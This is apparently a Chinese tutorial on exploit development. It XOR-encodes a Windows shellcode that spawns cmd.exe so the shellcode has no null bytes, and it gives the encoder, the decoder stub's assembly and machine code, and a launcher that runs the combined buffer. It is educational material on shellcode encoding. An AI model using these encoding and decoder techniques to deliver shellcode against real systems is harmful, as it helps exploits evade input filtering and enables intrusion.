之前实验的时候,弹DOS窗口的shellcode发现有\x00。根据程序要求,shellcode是不能有这样的字符串在里面,否则在使用一些函数(如:strcpy())会产生00截断:
#include "stdafx.h"
#include "stdio.h"
#include "windows.h"
#include"stdlib.h"
char shellcode[]="\x55\x8B\xEC\x83\xEC\x48\x33\xC0\x50\xB8\x2E\x65\x78\x65\x50\xB8\x63\x6D\x64\x00\x50\x8B\xC4\x6A\x05\x50\xB8\xAD\x23\x86\x7C\xFF\xD0\x3B\xF4\x33\xDB\x53\xBB\xFA\xCA\x81\x7C\xFF\xD3\x8B\xE5\x5D";
int main(int argc, char* argv[])
{
__asm
{
lea eax,shellcode
push eax
ret
}
return 0;
}
然后,我们就要用异或对这个shellcode进行编码,参考《0day安全-软件漏洞分析技术》,对于解码,我们可以用以下几条指令实现。
#include <stdio.h>
#define KEY 0x97
void main()
{
__asm
{
add eax, 0x14 //越过 decoder,记录 shellcode 的起始地址
xor ecx,ecx
decode_loop:
mov bl,[eax+ecx]
xor bl, 0x97 //这里用 0x97 作为 key,如编码的 key 改变,这里也要相应改变
mov [eax+ecx],bl
inc ecx
cmp bl,0x90 //在 shellcode 末尾放上一个字节的 0x90 作为结束符
jne decode_loop
}
}
下文再解释该解码器,所以这个时候重新添加\x90,再对shellcode进行编码:
#include <stdio.h>
#define KEY 0x97
unsigned char ShellCode[] = "\x55\x8B\xEC\x83\xEC\x48\x33\xC0\x50\xB8\x2E\x65\x78\x65\x50\xB8\x63\x6D\x64\x00\x50\x8B\xC4\x6A\x05\x50\xB8\xAD\x23\x86\x7C\xFF\xD0\x3B\xF4\x33\xDB\x53\xBB\xFA\xCA\x81\x7C\xFF\xD3\x8B\xE5\x5D\x90";
int main()
{
int i;
int nLen;
unsigned char enShellCode[500]; //编码后的enShellCode
nLen = sizeof(ShellCode)-1; //获得ShellCode的长度
printf("enShellcode=");
for(i=0; i<nLen; i++)
{
enShellCode[i] = ShellCode[i] ^ KEY; //对每一位ShellCode作xor key编码
printf("\\x%x",enShellCode[i]); //打印出效果
}
return 0;
}
运行结果复制下来保存好:
enShellcode=\xc2\x1c\x7b\x14\x7b\xdf\xa4\x57\xc7\x2f\xb9\xf2\xef\xf2\xc7\x2f\xf4\xfa\xf3\x97\xc7\x1c\x53\xfd\x92\xc7\x2f\x3a\xb4\x11\xeb\x68\x47\xac\x63\xa4\x4c\xc4\x2c\x6d\x5d\x16\xeb\x68\x44\x1c\x72\xca\x7
然后进入调试模式:
将解码器对应的机器码提取出:
\x83\xC0\x14\x33\xC9\x8A\x1C\x08\x80\xF3\x97\x88\x1C\x08\x41\x80\xFB\x90\x75\xF1
将其和shellcode拼接在一起,成功运行:
#include "stdafx.h"
#include"stdio.h"
char shellcode[]="\x83\xC0\x14\x33\xC9\x8A\x1C\x08\x80\xF3\x97\x88\x1C\x08\x41\x80\xFB\x90\x75\xF1 "
"\xc2\x1c\x7b\x14\x7b\xdf\xa4\x57\xc7\x2f\xb9\xf2\xef\xf2\xc7\x2f\xf4\xfa\xf3\x97\xc7\x1c\x53\xfd\x92\xc7\x2f\x3a\xb4\x11\xeb\x68\x47\xac\x63\xa4\x4c\xc4\x2c\x6d\x5d\x16\xeb\x68\x44\x1c\x72\xca\x7";
int main(int argc, char* argv[])
{
_asm
{
lea eax,shellcode
push eax
ret
}
}
好了!现在就是讲解上面解码器的相关知识了:
#include <stdio.h>
#define KEY 0x97
void main()
{
__asm
{
add eax, 0x14 //解密子的长度
xor ecx,ecx //循环计数器
decode_loop:
mov bl,[eax+ecx]
xor bl, 0x97 //这里用 0x97 作为 key,如编码的 key 改变,这里也要相应改变
mov [eax+ecx],bl
inc ecx //目标操作数+1
cmp bl,0x90 //在 shellcode 末尾放上一个字节的 0x90 作为结束符
jne decode_loop
}
}
其中0x14是解码器的长度,最开始,我们并不确定。这个时候我们可以随意写一个比较大的数字来装载解码器,然后进入调试模式数出来再修改!
最后一句:
其中的0040102d是跳转的绝对地址,但是F1是相对偏移,向前跳时,移动了13个字节,于是75 F1表示jne $-13。这个可以利用kali里面的msf-nasm_shell查看跳转指令对应的机器码。